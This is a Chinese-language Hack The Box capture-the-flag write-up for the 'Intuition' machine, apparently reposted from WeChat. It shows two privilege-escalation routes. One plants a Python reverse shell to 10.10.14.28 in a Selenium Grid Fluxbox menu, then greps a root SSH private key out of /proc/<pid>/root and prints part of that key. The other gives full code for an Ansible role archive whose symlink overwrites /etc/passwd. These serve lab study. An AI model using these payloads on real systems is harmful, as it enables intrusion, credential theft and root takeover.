非预期
现在是dev_acc用户,查看一下后台
可以看到有个4444端口,代理到本地然后打开
得知是Selenium一个开源的测试工具,其中Selenium Grid就是他的其中一个套件,用来测试多个虚拟机,可以看到有个虚拟机,点击进去但是需要密码
可以参考这篇文章,密码是:secret
https://github.com/SeleniumHQ/docker-selenium/issues/1455
关于这个套件的漏洞可以找到这个工具
https://github.com/JonStratton/selenium-node-takeover-kit/tree/master
看下GitHub的篇文章可以根据他的poc执行,首先登录进去,然后本地开启python服务器,下载一个revershell
然后通过上传菜单文件来编辑selenium菜单文件,该文件可以链接到我的reverseshell文件。
如何创建菜单文件的可以参考这篇文章
https://askubuntu.com/questions/7288/how-to-configure-fluxbox-menu
显示隐藏文件夹
选择菜单文件并单击保存
然后回到桌面右击可以找到直接创建的menu的文件,然后选择shell的目录
[ ] (Fluxbox)
[ ] (System Tools) {System Tools}
[ ] (Terminal) {xterm}
[ ] (Web Browser) {firefox}
['import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.28",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'} ] (Open caixukun Shell) {python3 -c
[ ]
[ ]
成功反弹,可以得知这是在docker里面,继续搜索一下,可以参考这篇文章
https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot
尝试验证此漏洞
但是前提要是root用户
echo "dev_acc:x:1001:1001:dev_acc,,,:/home/dev_acc:/bin/bash" etc/passwd
看来验证成功了,回到ssh的连接,查看一下sda,并且使用该漏洞
grep -zoP "(?s)-----BEGIN OPENSSH PRIVATE KEY-----(.*?)-----END OPENSSH PRIVATE KEY-----" /proc/139369/root/sda
成功的拿到了root私钥
OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDyIVwjHg
cDQsuL69cF7BJpAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6ud
JJEKO4U29k93NK1FJNDJ8VI3qqqDy6GMziNapOlNTsWqRf5mCSWpbJu70LE32Ng5IqFGCu
bicrjPySOBdP2oa4Tg8emN1gwhXbxh1FtxCcahOrmQ5YfmJLiAFEoHqt08o00nu8ZfuXuI
=
OPENSSH PRIVATE KEY-----
预期
可以通过搜索,发现一个cve可以利用,具体参考这里
https://github.com/ansible/ansible/commit/1e930684bc0a76ec3d094cd326738ad26416541c
使用此漏洞,可以覆盖文件。例如,我覆盖/etc/passwd文件,就像这批文章
https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/
接下来利用该漏洞,首先使用openssl生成passwd的哈希,然后利用哈希
#!/usr/bin/env python
"""Create a role archive which overwrites an arbitrary file."""
import argparse
import pathlib
import tarfile
import tempfile
def main() -> None:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('archive', type=pathlib.Path, help='archive to create')
parser.add_argument('content', type=pathlib.Path, help='content to write')
parser.add_argument('target', type=pathlib.Path, help='file to overwrite')
args = parser.parse_args()
create_archive(args.archive, args.content, args.target)
def create_archive(archive_path: pathlib.Path, content_path: pathlib.Path, target_path: pathlib.Path) -> None:
with (
tarfile.open(name=archive_path, mode='w') as role_archive,
tempfile.TemporaryDirectory() as temp_dir_name,
):
temp_dir_path = pathlib.Path(temp_dir_name)
meta_main_path = temp_dir_path / 'meta' / 'main.yml'
meta_main_path.parent.mkdir()
meta_main_path.write_text('')
symlink_path = temp_dir_path / 'symlink'
symlink_path.symlink_to(target_path)
role_archive.add(meta_main_path)
role_archive.add(symlink_path)
content_tarinfo = role_archive.gettarinfo(content_path, str(symlink_path))
with content_path.open('rb') as content_file:
role_archive.addfile(content_tarinfo, content_file)
if __name__ == '__main__':
main()
创建完了tar,然后上传,使用install命令
成功拿到root,但是不建议使用这个方法,因为它会更改/etc/passwd文件并导致服务器错误~~~~
原文始发于微信公众号(Jiyou too beautiful):HTB-Intuition其他提权方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论